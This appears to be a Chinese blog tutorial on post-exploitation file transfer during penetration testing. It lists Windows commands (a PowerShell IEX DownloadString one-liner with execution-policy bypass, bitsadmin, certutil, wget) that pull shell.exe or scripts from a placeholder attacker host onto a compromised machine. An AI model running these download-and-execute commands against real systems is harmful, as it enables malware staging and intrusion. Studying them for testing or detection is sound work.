当前位置: 首页 > article >正文

渗透中的文件上传与下载

有时候拿下一台机器的控制权,需要在这台主机上传一些东西;有时候也会碰到不能直接上传只能通过命令行执行的shell,这就需要将shell下载下来。

目录

利用powershell进行文件上传下载

利用bitsadmin命令进行文件下载

利用certutil命令上传下载文件

利用wget命令上传下载文件


利用powershell进行文件上传下载

# 下载脚本并在内存中执行
powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/xxx.ps1')"  

# 下载文件到指定目录
powershell (new-object system.net.webclient).downloadfile('http://xxx.xxx.xxx.xxx/shell.exe','d:/test.exe')
 
# 下载文件到当前目录
powershell (new-object system.net.webclient).downloadfile('http://xxx.xxx.xxx.xxx/test.exe','test.exe')

利用bitsadmin命令进行文件下载

bitsadmin是Windows自带工具(Windows7之后),可以用来进行文件下载,Windows的自动更新和补丁之类下载就是用这个工具来实现的。而且bitsadmin可以在网络不稳定的状态下下载文件,出错会自动重新加载重试。

如下命令,将位于外网文件下载到目标主机上

bitsadmin /transfer <任务名> <remote_url> <local_name>

bitsadmin /transfer shell http://xxx.xxx.xxx.xxx/shell.exe c:\users\tester\shell.exe    
 
// 保存文件的文件路径必须是已经存在的有权限的目录,否则不能下载。

加载速度过慢也可以设置任务优先级

先执行:
start bitsadmin /transfer <任务名> http://xxx.xxx.xxx.xxx/shell.exe c:\users\tester\shell1.exe
再执行:
bitsadmin /setpriority <对应任务名> foreground

利用certutil命令上传下载文件

在Windows7及其以后的机器都可以使用,但该命令容易被杀软查杀。

certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/shell.exe c:/users/tester/shell.exe // 下载文件到指定目录下

利用wget命令上传下载文件

wget -O c:/users/tester/shell.exe http://xxx.xxx.xxx.xxx/shell.exe // 下载文件到指定目录并指定了文件
wget -P c:/users/tester/ http://xxx.xxx.xxx.xxx/shell.exe // 下载文件到指定目录下


http://www.kler.cn/a/291400.html

相关文章:

  • 迁移学习理论与应用
  • 深度解析FastDFS:构建高效分布式文件存储的实战指南(上)
  • uni-app快速入门(十)--常用内置组件(下)
  • 量化交易系统开发-实时行情自动化交易-4.1.3.A股平均趋向指数(ADX)实现
  • More Effective C++ Item 7:区别使用()和{}创建对象
  • 环形缓冲区 之 STM32 串口接收的实现
  • Android 读取 XML 文件之 XmlPullParser 编码模板
  • 高中生现身头部量化私募大厂竞赛,从大学生抢到高中生
  • 基于tesseract实现文档OCR识别
  • Burp Suite Professional 2024.8 for macOS x64 ARM64 - 领先的 Web 渗透测试软件
  • Android - Windows平台下Android Studio使用系统的代理
  • 51单片机——实时时钟
  • PHP智能匹配轻松预订自习室在线订座系统小程序源码
  • Linux驱动开发基础(定时器、mmap)
  • 零基础Opencv学习(一)
  • 【生日视频制作】白色小汽车悍马加长版车身AE模板修改文字软件生成器教程特效素材【AE模板】
  • 51单片机——存储器
  • SpringCloud - gateway 报错: type=Service Unavailable, status=503
  • vue3 行点击事件 table 树 点击行展开
  • ARM和RISC-V先进微架构设计
  • 优思学院|六西格玛,质量人不可错过的宝典,一篇文章让你读懂六西格玛!
  • Origin 2024下载安装教程(中文版软件包) 百度网盘分享链接地址
  • 基于物联网的低成本便携式传感器节点用于火灾和空气污染的检测与报警
  • 【数据库】MySQL-基础篇-SQL
  • 从零开始,认识游戏设计师(3)体验源于设计师①
  • 利用 Llama-Index为你的应用程序注入智能搜索